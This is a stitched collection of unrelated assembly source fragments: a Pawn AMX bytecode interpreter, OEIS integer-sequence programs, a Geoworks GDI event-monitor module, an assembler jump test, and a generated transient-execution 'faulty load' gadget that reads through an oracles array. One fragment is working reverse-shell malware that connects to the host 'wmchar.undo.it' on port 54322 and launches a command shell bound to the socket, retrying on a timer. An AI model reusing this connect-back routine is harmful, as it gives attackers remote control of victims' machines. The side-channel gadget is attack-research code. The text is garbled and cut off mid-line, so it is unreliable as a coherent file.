ebp,[esi-16] _PUSH ebp mov ebp,[esi-12] _PUSH ebp mov ebp,[esi-8] _PUSH ebp mov ebp,[esi-4] _PUSH ebp NEXT OP_PUSH5: add esi,24 mov ebp,[esi-20] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-16] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-12] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-8] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-4] mov ebp,[ebp+edi] _PUSH ebp NEXT OP_PUSH5_S: add esi,24 mov ebp,[esi-20] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-16] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-12] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-8] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-4] mov ebp,[ebp+ebx] _PUSH ebp NEXT OP_PUSH5_ADR: add esi,24 mov ebp,[esi-20] add ebp,frm _PUSH ebp mov ebp,[esi-16] add ebp,frm _PUSH ebp mov ebp,[esi-12] add ebp,frm _PUSH ebp mov ebp,[esi-8] add ebp,frm _PUSH ebp mov ebp,[esi-4] add ebp,frm _PUSH ebp NEXT OP_LOAD_BOTH: mov eax,[esi+4] mov edx,[esi+8] add esi,12 mov eax,[edi+eax] mov edx,[edi+edx] NEXT OP_LOAD_S_BOTH: mov eax,[esi+4] mov edx,[esi+8] add esi,12 mov eax,[ebx+eax] mov edx,[ebx+edx] NEXT OP_CONST: push eax mov ebp,[esi+4] mov eax,[esi+8] add esi,12 mov [ebp+edi],eax pop eax NEXT OP_CONST_S: push eax mov ebp,[esi+4] mov eax,[esi+8] add esi,12 mov [ebp+ebx],eax pop eax NEXT OP_INVALID: mov eax,AMX_ERR_INVINSTR jmp _return ;----- packed opcodes IFNDEF AMX_NO_PACKED_OPC OP_LOAD_P_PRI: GETPARAM_P eax add esi,4 mov eax,[edi+eax] NEXT OP_LOAD_P_ALT: GETPARAM_P edx add esi,4 mov edx,[edi+edx] NEXT OP_LOAD_P_S_PRI: GETPARAM_P eax add esi,4 mov eax,[ebx+eax] NEXT OP_LOAD_P_S_ALT: GETPARAM_P edx add esi,4 mov edx,[ebx+edx] NEXT OP_LODB_P_I: _VERIFYADDRESS eax GETPARAM_P ebp mov eax,[edi+eax] ;subject to misalignment stalls add esi,4 and eax,DWORD ptr [(lodb_and-4)+ebp*4] NEXT OP_LREF_P_PRI: GETPARAM_P eax add esi,4 mov eax,[edi+eax] mov eax,[edi+eax] NEXT OP_LREF_P_ALT: GETPARAM_P edx add esi,4 mov edx,[edi+edx] mov edx,[edi+edx] NEXT OP_LREF_P_S_PRI: GETPARAM_P eax add esi,4 mov eax,[ebx+eax] mov eax,[edi+eax] NEXT OP_LREF_P_S_ALT: GETPARAM_P edx add esi,4 mov edx,[ebx+edx] mov edx,[edi+edx] NEXT OP_CONST_P_PRI: GETPARAM_P eax add esi,4 NEXT OP_CONST_P_ALT: GETPARAM_P edx add esi,4 NEXT OP_ADDR_P_PRI: GETPARAM_P eax add esi,4 add eax,frm NEXT OP_ADDR_P_ALT: GETPARAM_P edx add esi,4 add edx,frm NEXT OP_STOR_P_PRI: GETPARAM_P ebp add esi,4 mov [ebp+edi],eax NEXT OP_STOR_P_ALT: GETPARAM_P ebp add esi,4 mov [ebp+edi],edx NEXT OP_STOR_P_S_PRI: GETPARAM_P ebp add esi,4 mov [ebp+ebx],eax NEXT OP_STOR_P_S_ALT: GETPARAM_P ebp add esi,4 mov [ebp+ebx],edx NEXT OP_STRB_P_I: GETPARAM_P ebp add esi,4 jmp strb_entry OP_SREF_P_PRI: GETPARAM_P ebp add esi,4 mov ebp,[edi+ebp] mov [edi+ebp],eax NEXT OP_SREF_P_ALT: GETPARAM_P ebp add esi,4 mov ebp,[edi+ebp] mov [edi+ebp],edx NEXT OP_SREF_P_S_PRI: GETPARAM_P ebp add esi,4 mov ebp,[ebx+ebp] mov [edi+ebp],eax NEXT OP_SREF_P_S_ALT: GETPARAM_P ebp add esi,4 mov ebp,[ebx+ebp] mov [edi+ebp],edx NEXT OP_LIDX_P_B: push ecx GETPARAM_P ecx add esi,4 shl eax,cl pop ecx add eax,edx _VERIFYADDRESS eax mov eax,[edi+eax] NEXT OP_IDXADDR_P_B: push ecx GETPARAM_P ecx add esi,4 shl eax,cl pop ecx add eax,edx NEXT OP_ALIGN_P_PRI: GETPARAM_P ebp add esi,4 neg ebp ; ebp = -param add ebp,4 ; ebp = 4 - param xor eax,ebp NEXT OP_ALIGN_P_ALT: GETPARAM_P ebp add esi,4 neg ebp add ebp,4 xor edx,ebp NEXT OP_PUSH_P_C: GETPARAM_P ebp add esi,4 _PUSH ebp NEXT OP_PUSH_P: GETPARAM_P ebp add esi,4 mov ebp,[ebp+edi] _PUSH ebp NEXT OP_PUSH_P_S: GETPARAM_P ebp add esi,4 mov ebp,[ebp+ebx] _PUSH ebp NEXT OP_STACK_P: GETPARAM_P ebp add esi,4 mov edx,ecx add ecx,ebp _CHKMARGIN _CHKSTACK NEXT OP_HEAP_P: GETPARAM_P ebp add esi,4 mov edx,hea add hea,ebp _CHKMARGIN _CHKHEAP NEXT OP_SHL_P_C_PRI: push ecx GETPARAM_P ecx add esi,4 shl eax,cl pop ecx NEXT OP_SHL_P_C_ALT: push ecx GETPARAM_P ecx add esi,4 shl edx,cl pop ecx NEXT OP_SHR_P_C_PRI: push ecx GETPARAM_P ecx add esi,4 shr eax,cl pop ecx NEXT OP_SHR_P_C_ALT: push ecx GETPARAM_P ecx add esi,4 shr edx,cl pop ecx NEXT OP_ADD_P_C: GETPARAM_P ebp add esi,4 add eax,ebp NEXT OP_SMUL_P_C: GETPARAM_P ebp add esi,4 push edx imul ebp pop edx NEXT OP_ZERO_P: GETPARAM_P ebp add esi,4 mov DWORD ptr [edi+ebp],0 NEXT OP_ZERO_P_S: GETPARAM_P ebp add esi,4 mov DWORD ptr [ebx+ebp],0 NEXT OP_EQ_P_C_PRI: GETPARAM_P ebp add esi,4 cmp eax,ebp ; PRI == value ? mov eax,0 sete al NEXT OP_EQ_P_C_ALT: GETPARAM_P ebp add esi,4 xor eax,eax cmp edx,[esi+4] ; ALT == value ? sete al NEXT OP_INC_P: GETPARAM_P ebp add esi,4 inc DWORD ptr [edi+ebp] NEXT OP_INC_P_S: GETPARAM_P ebp add esi,4 inc DWORD ptr [ebx+ebp] NEXT OP_DEC_P: GETPARAM_P ebp add esi,4 dec DWORD ptr [edi+ebp] NEXT OP_DEC_P_S: GETPARAM_P ebp add esi,4 dec DWORD ptr [ebx+ebp] NEXT OP_MOVS_P: _VERIFYADDRESS eax ; PRI _VERIFYADDRESS edx ; ALT GETPARAM_P ebp add ebp,eax dec ebp _VERIFYADDRESS ebp ; PRI + size - 1 sub ebp,eax ; EBP = size - 1 add ebp,edx _VERIFYADDRESS ebp ; ALT + size - 1 push ecx ; matching POP is in movs_entry GETPARAM_P ecx add esi,4 jmp movs_entry OP_CMPS_P: _VERIFYADDRESS eax ; PRI _VERIFYADDRESS edx ; ALT GETPARAM_P ebp add ebp,eax dec ebp ; EBP = PRI + size - 1 _VERIFYADDRESS ebp ; PRI + size - 1 sub ebp,eax ; EBP = size - 1 add ebp,edx ; EBP = ALT + size - 1 _VERIFYADDRESS ebp ; ALT + size - 1 push ecx ; matching pop is in cmps_entry GETPARAM_P ecx add esi,4 jmp cmps_entry OP_FILL_P: GETPARAM_P ebp ; get byte count add esi,4 jmp fill_entry OP_HALT_P: cmp DWORD ptr retval,0 je short halt_no_retval_p mov ebp,retval mov [ebp],eax halt_no_retval_p: ; store the complete status in the AMX mov ebp,amx ; get amx into ebp mov [ebp+_pri],eax ; store values in AMX structure (PRI, ALT, STK, HEA, FRM, ...) mov [ebp+_alt],edx mov [ebp+_stk],ecx mov ecx,hea mov ebx,frm mov [ebp+_hea],ecx mov [ebp+_frm],ebx ; EBX & ECX are invalid by now GETPARAM_P ebx ; EBX=parameter of the HALT opcode add esi,4 ; skip this instruction mov eax,esi ; EAX=CIP sub eax,code mov [ebp+_cip],eax mov eax,ebx ; return the parameter of the HALT opcode jmp _return OP_BOUNDS_P: GETPARAM_P ebp add esi,4 cmp eax,ebp ja err_bounds ; use unsigned comparison, so <0 is >bounds NEXT OP_PUSH_P_ADR: GETPARAM_P ebp add esi,4 add ebp,frm _PUSH ebp NEXT ENDIF ; AMX_NO_PACKED_OPC err_call: mov eax,AMX_ERR_CALLBACK jmp _return err_stack: mov eax,AMX_ERR_STACKERR jmp _return err_stacklow: mov eax,AMX_ERR_STACKLOW jmp _return err_memaccess: mov eax,AMX_ERR_MEMACCESS jmp _return err_bounds: mov eax,AMX_ERR_BOUNDS jmp _return err_heaplow: mov eax,AMX_ERR_HEAPLOW jmp _return err_divide: mov eax,AMX_ERR_DIVIDE jmp _return _return: ; save a few parameters, mostly for the "sleep"function mov ebp,amx ; get amx into ebp mov [ebp+_pri],eax ; store values in AMX structure (PRI, ALT) mov [ebp+_alt],edx ; store values in AMX structure (PRI, ALT) pop esi ; remove FRM from stack pop ecx pop ebx pop edx pop esi ; remove pointer to amx from stack pop esi ; remove code segment pointer pop esi ; remove code size add esp,4*3 ; place for PRI, ALT & STK at SYSREQs pop ebp pop esi pop edi IFDEF STACKARGS pop ebx ENDIF ret IFDEF STACKARGS _amx_exec_asm ENDP ELSE amx_exec_asm_ ENDP ENDIF .DATA ALIGN 4 ; This is essential to avoid misalignment stalls. lodb_and DD 0ffh, 0ffffh, 0, 0ffffffffh PUBLIC _amx_opcodelist _amx_opcodelist DD OP_INVALID DD OP_LOAD_PRI DD OP_LOAD_ALT DD OP_LOAD_S_PRI DD OP_LOAD_S_ALT DD OP_LREF_PRI DD OP_LREF_ALT DD OP_LREF_S_PRI DD OP_LREF_S_ALT DD OP_LOAD_I DD OP_LODB_I DD OP_CONST_PRI DD OP_CONST_ALT DD OP_ADDR_PRI DD OP_ADDR_ALT DD OP_STOR_PRI DD OP_STOR_ALT DD OP_STOR_S_PRI DD OP_STOR_S_ALT DD OP_SREF_PRI DD OP_SREF_ALT DD OP_SREF_S_PRI DD OP_SREF_S_ALT DD OP_STOR_I DD OP_STRB_I DD OP_LIDX DD OP_LIDX_B DD OP_IDXADDR DD OP_IDXADDR_B DD OP_ALIGN_PRI DD OP_ALIGN_ALT DD OP_LCTRL DD OP_SCTRL DD OP_MOVE_PRI DD OP_MOVE_ALT DD OP_XCHG DD OP_PUSH_PRI DD OP_PUSH_ALT DD OP_PICK DD OP_PUSH_C DD OP_PUSH DD OP_PUSH_S DD OP_POP_PRI DD OP_POP_ALT DD OP_STACK DD OP_HEAP DD OP_PROC DD OP_RET DD OP_RETN DD OP_CALL DD OP_CALL_PRI DD OP_JUMP DD OP_JREL ; obsolete DD OP_JZER DD OP_JNZ DD OP_JEQ DD OP_JNEQ DD OP_JLESS DD OP_JLEQ DD OP_JGRTR DD OP_JGEQ DD OP_JSLESS DD OP_JSLEQ DD OP_JSGRTR DD OP_JSGEQ DD OP_SHL DD OP_SHR DD OP_SSHR DD OP_SHL_C_PRI DD OP_SHL_C_ALT DD OP_SHR_C_PRI DD OP_SHR_C_ALT DD OP_SMUL DD OP_SDIV DD OP_SDIV_ALT DD OP_UMUL DD OP_UDIV DD OP_UDIV_ALT DD OP_ADD DD OP_SUB DD OP_SUB_ALT DD OP_AND DD OP_OR DD OP_XOR DD OP_NOT DD OP_NEG DD OP_INVERT DD OP_ADD_C DD OP_SMUL_C DD OP_ZERO_PRI DD OP_ZERO_ALT DD OP_ZERO DD OP_ZERO_S DD OP_SIGN_PRI DD OP_SIGN_ALT DD OP_EQ DD OP_NEQ DD OP_LESS DD OP_LEQ DD OP_GRTR DD OP_GEQ DD OP_SLESS DD OP_SLEQ DD OP_SGRTR DD OP_SGEQ DD OP_EQ_C_PRI DD OP_EQ_C_ALT DD OP_INC_PRI DD OP_INC_ALT DD OP_INC DD OP_INC_S DD OP_INC_I DD OP_DEC_PRI DD OP_DEC_ALT DD OP_DEC DD OP_DEC_S DD OP_DEC_I DD OP_MOVS DD OP_CMPS DD OP_FILL DD OP_HALT DD OP_BOUNDS DD OP_SYSREQ_PRI DD OP_SYSREQ_C DD OP_FILE ; obsolete DD OP_LINE ; obsolete DD OP_SYMBOL ; obsolete DD OP_SRANGE ; obsolete DD OP_JUMP_PRI DD OP_SWITCH DD OP_CASETBL DD OP_SWAP_PRI DD OP_SWAP_ALT DD OP_PUSH_ADR DD OP_NOP DD OP_SYSREQ_N DD OP_SYMTAG ; obsolete DD OP_BREAK ; macro opcodes DD OP_PUSH2_C DD OP_PUSH2 DD OP_PUSH2_S DD OP_PUSH2_ADR DD OP_PUSH3_C DD OP_PUSH3 DD OP_PUSH3_S DD OP_PUSH3_ADR DD OP_PUSH4_C DD OP_PUSH4 DD OP_PUSH4_S DD OP_PUSH4_ADR DD OP_PUSH5_C DD OP_PUSH5 DD OP_PUSH5_S DD OP_PUSH5_ADR DD OP_LOAD_BOTH DD OP_LOAD_S_BOTH DD OP_CONST DD OP_CONST_S ; overlay opcodes DD OP_ICALL DD OP_IRETN DD OP_ISWITCH DD OP_ICASETBL ; packed opcodes IFNDEF AMX_NO_PACKED_OPC DD OP_LOAD_P_PRI DD OP_LOAD_P_ALT DD OP_LOAD_P_S_PRI DD OP_LOAD_P_S_ALT DD OP_LREF_P_PRI DD OP_LREF_P_ALT DD OP_LREF_P_S_PRI DD OP_LREF_P_S_ALT DD OP_LODB_P_I DD OP_CONST_P_PRI DD OP_CONST_P_ALT DD OP_ADDR_P_PRI DD OP_ADDR_P_ALT DD OP_STOR_P_PRI DD OP_STOR_P_ALT DD OP_STOR_P_S_PRI DD OP_STOR_P_S_ALT DD OP_SREF_P_PRI DD OP_SREF_P_ALT DD OP_SREF_P_S_PRI DD OP_SREF_P_S_ALT DD OP_STRB_P_I DD OP_LIDX_P_B DD OP_IDXADDR_P_B DD OP_ALIGN_P_PRI DD OP_ALIGN_P_ALT DD OP_PUSH_P_C DD OP_PUSH_P DD OP_PUSH_P_S DD OP_STACK_P DD OP_HEAP_P DD OP_SHL_P_C_PRI DD OP_SHL_P_C_ALT DD OP_SHR_P_C_PRI DD OP_SHR_P_C_ALT DD OP_ADD_P_C DD OP_SMUL_P_C DD OP_ZERO_P DD OP_ZERO_P_S DD OP_EQ_P_C_PRI DD OP_EQ_P_C_ALT DD OP_INC_P DD OP_INC_P_S DD OP_DEC_P DD OP_DEC_P_S DD OP_MOVS_P DD OP_CMPS_P DD OP_FILL_P DD OP_HALT_P DD OP_BOUNDS_P DD OP_PUSH_P_ADR ENDIF ; AMX_NO_PACKED_OPC ; "patch" opcodes DD OP_SYSREQ_D DD OP_SYSREQ_ND END
; A036799: a(n) = 2 + 2^(n+1)*(n-1). ; 0,2,10,34,98,258,642,1538,3586,8194,18434,40962,90114,196610,425986,917506,1966082,4194306,8912898,18874370,39845890,83886082,176160770,369098754,771751938,1610612738,3355443202,6979321858,14495514626,30064771074,62277025794,128849018882,266287972354,549755813890,1133871366146,2336462209026,4810363371522,9895604649986,20340965113858,41781441855490,85761906966530,175921860444162,360639813910530,738871813865474,1512927999819778,3096224743817218,6333186975989762,12947848928690178,26458647810801666 mov $1,$0 sub $0,1 mov $2,2 pow $2,$1 mul $0,$2 add $0,1 mul $0,2
; A070587: n^4 mod 44. ; 0,1,16,37,36,9,20,25,4,5,12,33,12,5,4,25,20,9,36,37,16,1,0,1,16,37,36,9,20,25,4,5,12,33,12,5,4,25,20,9,36,37,16,1,0,1,16,37,36,9,20,25,4,5,12,33,12,5,4,25,20,9,36,37,16,1,0,1,16,37,36,9,20,25,4,5,12,33,12,5,4 pow $0,4 mod $0,44 mov $1,$0
; A087171: Expansion of (1 + 5*x)/(1 + 9*x + 25*x^2). ; 1,-4,11,1,-284,2531,-15679,77836,-308549,831041,234356,-22885229,200108161,-1228842724,6056880491,-23790856319,62695694596,30510156611,-1841983774399,15815100054316,-96286306128869,471199253801921,-1833635630995564,4722739333912051 mul $0,2 mov $1,1 mov $2,$0 lpb $2 sub $2,1 mul $3,5 sub $1,$3 add $3,$1 lpe mov $0,$1
; A041147: Denominators of continued fraction convergents to sqrt(83). ; Submitted by Jamie Morken(s2) ; 1,9,163,1476,26731,242055,4383721,39695544,718903513,6509827161,117895792411,1067571958860,19334191051891,175075291425879,3170689436717713,28711280221885296,519973733430653041,4708474881097762665,85272521593190381011,772161169219811191764,13984173567549791832763,126629723277167937686631,2293319192556572670192121,20766502456286321969415720,376090363405710368119675081,3405579773107679635046491449,61676526279343943798956521163,558494316287203173825655181916,10114574219449001072660749795651 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,2 mul $2,18 lpe mov $0,$2 div $0,18
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1996 -- All Rights Reserved PROJECT: MODULE: FILE: gdiExt.asm AUTHOR: Todd Stumpf, Apr 10, 1996 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- TS 4/10/96 Initial revision DESCRIPTION: $Id: gdiExt.asm,v 1.1 97/04/04 18:03:51 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MonitorCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GDISMMonitorSystem %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Start the monitoring inside the GDI Library for events. Client is informed of an event by registering a callback function. CALLED BY: GLOBAL PASS: dx:si -> callback RETURN: carry set on error ax <- ErrorCode si <- registerID (ffffh if error) DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TS 4/30/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GDISMMonitorSystem proc far .enter ; ; First register the callback to all hardware: keyboard, mouse ; and power for now. ; mov bx, offset systemMonitorCallbackTable call GDIRegisterCallback ; bx <- slot index in ; systemMonitorCallbackTable, inc bx mov si, bx ; registration ID for ; systemMonitor has 1-based index. ; 0 is reserved for hardware .leave ret GDISMMonitorSystem endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GDISMGenerateState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: To generate fake events. CALLED BY: GLOBAL PASS: si -> registerID di -> SystemEventType others -> as SystemEventType RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TS 4/30/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GDISMGenerateState proc far uses bp .enter ; ; see which SystemEventType and call which table ; cmp di, SET_KEYBOARD jne tryPointer mov di, offset keyboardCallbackTable jmp filter tryPointer: cmp di, SET_POINTER jne tryPower mov di, offset pointerCallbackTable jmp filter tryPower: cmp di, SET_POWER jne done ; do nothing ;EC < ERROR_NE EC_WRONG_EVENT_TYPE mov di, offset powerCallbackTable filter: mov bp, offset GDINoCallback call GDIFilterEventsFar done: .leave ret GDISMGenerateState endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GDISMRemoveMonitor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Unregister the callback event by a client geode and thus stop the reporting of events to the client geode. CALLED BY: GLOBAL PASS: si -> registerID RETURN: carry set if error ax <- ErrorCode DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TS 5/ 9/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GDISMRemoveMonitor proc far uses bx, ds .enter ; ; We are not using the general Unregister routine here, 'coz ; now we now know which slot to remove. ; MOV_SEG ds, dgroup mov bx, offset systemMonitorCallbackTable ; ; Each slot contains 2 far pointers = 4 bytes ; dec si ; make it a slot index shl si, 1 shl si, 1 add bx, si cmpdw ds:[bx], 0 ; empty slot? je error clrdw ds:[bx] ; remove callback mov ax, EC_NO_ERROR clc done: .leave ret error: mov ax, EC_CALLBACKS_NOT_PRESENT stc jmp done GDISMRemoveMonitor endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GDISMGetExclusive %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: +PASS: si -> registerID RETURN: carry clear if successful carry set if get exclusive rejected. DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kliu 8/16/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GDISMGetExclusive proc far .enter call GDIGetExclusiveFar .leave ret GDISMGetExclusive endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GDISMReleaseExclusive %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: GLOBAL PASS: si -> register ID RETURN: ax <- ErrorCode carry clear if successful carry set if release fails DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kliu 8/19/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GDISMReleaseExclusive proc far .enter call GDIReleaseExclusiveFar .leave ret GDISMReleaseExclusive endp MonitorCode ends
CPU 386 [BITS 32] section .rdata CBACK_HOST DB 'wmchar.undo.it',0 section .text execute %xdefine CBACK_TIMEOUT ((8*60)*1000) ;8 min. %xdefine CBACK_CHK_CONN (10*1000) ;10 sec. %xdefine CBACK_PORT 54322 @Cback: mov ebp, esp sub esp, 0x10 %define _WSASocket [ebp - 4] push 0 push DWORD [MTX_CBACK] call WaitForSingleObject or eax, eax jnz .exit mov esi, STR_WS2_32 push esi call GetModuleHandle or eax, eax jnz .ws2 push esi call LoadLibrary or eax, eax jz .exit .ws2 push STR_WSASocket push eax call GetProcAddress or eax, eax jz .exit mov _WSASocket, eax .gethost push CBACK_HOST call gethostbyname or eax, eax jz .exit mov esi, [eax + 0xC] lodsd mov eax, [eax] xor edx, edx push edx push edx push eax ;ip push DWORD (2 | ((((CBACK_PORT << 8) & 0xFF00) | ((CBACK_PORT >> 8) & 0xFF)) << 16) ) push edx push edx push edx push edx push byte 1 push byte 2 call DWORD _WSASocket xchg ebx, eax mov edx, esp push byte 0x10 push edx push ebx call connect add esp, byte 0x10 or eax, eax jz .createprocess .retry push ebx call closesocket push byte (CBACK_TIMEOUT / CBACK_CHK_CONN) pop ecx .sleep push ecx push CBACK_CHK_CONN call Sleep pop ecx cmp DWORD [CONNECTED], 0 je .exit loop .sleep jmp short .gethost .exit push DWORD [MTX_CBACK] call ReleaseMutex push BYTE 0 call ExitThread .createprocess push byte 0x11 pop ecx mov edx, edi mov edi, esp lea esi, [edi + 0x44] push esi push edi push edi rep stosd pop edi mov byte [edi], 0x44 inc byte [edi + 0x2c] ;STARTF_USESHOWWINDOW inc byte [edi + 0x2d] ;STARTF_USESTDHANDLES lea edi, [edi + 0x38] mov eax, ebx stosd stosd stosd mov edi, edx push ecx push ecx push ecx push eax ;TRUE push ecx push ecx push STR_CMD push ecx call CreateProcess lodsd push eax push byte -1 push eax call WaitForSingleObject call CloseHandle push DWORD [esi] call CloseHandle jmp short .retry
bits 64 dq b m: ; 1. assume 8 ja m ; 1. assume 2 ;; 1 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ;; 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ;; 3 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ;; 4 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ;; 5 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ;; 6 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ;; 7 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ja b ; 1. assume 2 ; times 64 ja b ; 1. assume 2 * 64 b: equ 5000 ; 1. assume 128 + 2 + 8 = 130 ja b jb b jbe b je b jg b jge b jl b jle b jne b
; A131078: Periodic sequence (1, 1, 1, 1, 0, 0, 0, 0). ; 1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1 div $0,4 mod $0,2 pow $1,$0
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1008c, %r9 add %rbp, %rbp movups (%r9), %xmm2 vpextrq $0, %xmm2, %rsi nop sub %rbp, %rbp lea addresses_UC_ht+0x1d9a8, %rsi lea addresses_UC_ht+0x1610c, %rdi nop nop nop and %rbp, %rbp mov $0, %rcx rep movsw nop and %r9, %r9 lea addresses_UC_ht+0x9d0c, %rax nop nop nop add $7057, %r13 movw $0x6162, (%rax) nop nop nop nop inc %r9 lea addresses_WC_ht+0x1d3c8, %rsi lea addresses_A_ht+0x1d80c, %rdi nop nop nop nop dec %r8 mov $58, %rcx rep movsw nop nop nop nop nop xor %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %rdi push %rsi // Faulty Load lea addresses_A+0x1d0c, %r15 nop xor %rdi, %rdi vmovaps (%r15), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %r10 lea oracles, %rsi and $0xff, %r10 shlq $12, %r10 mov (%rsi,%r10,1), %r10 pop %rsi pop %rdi pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 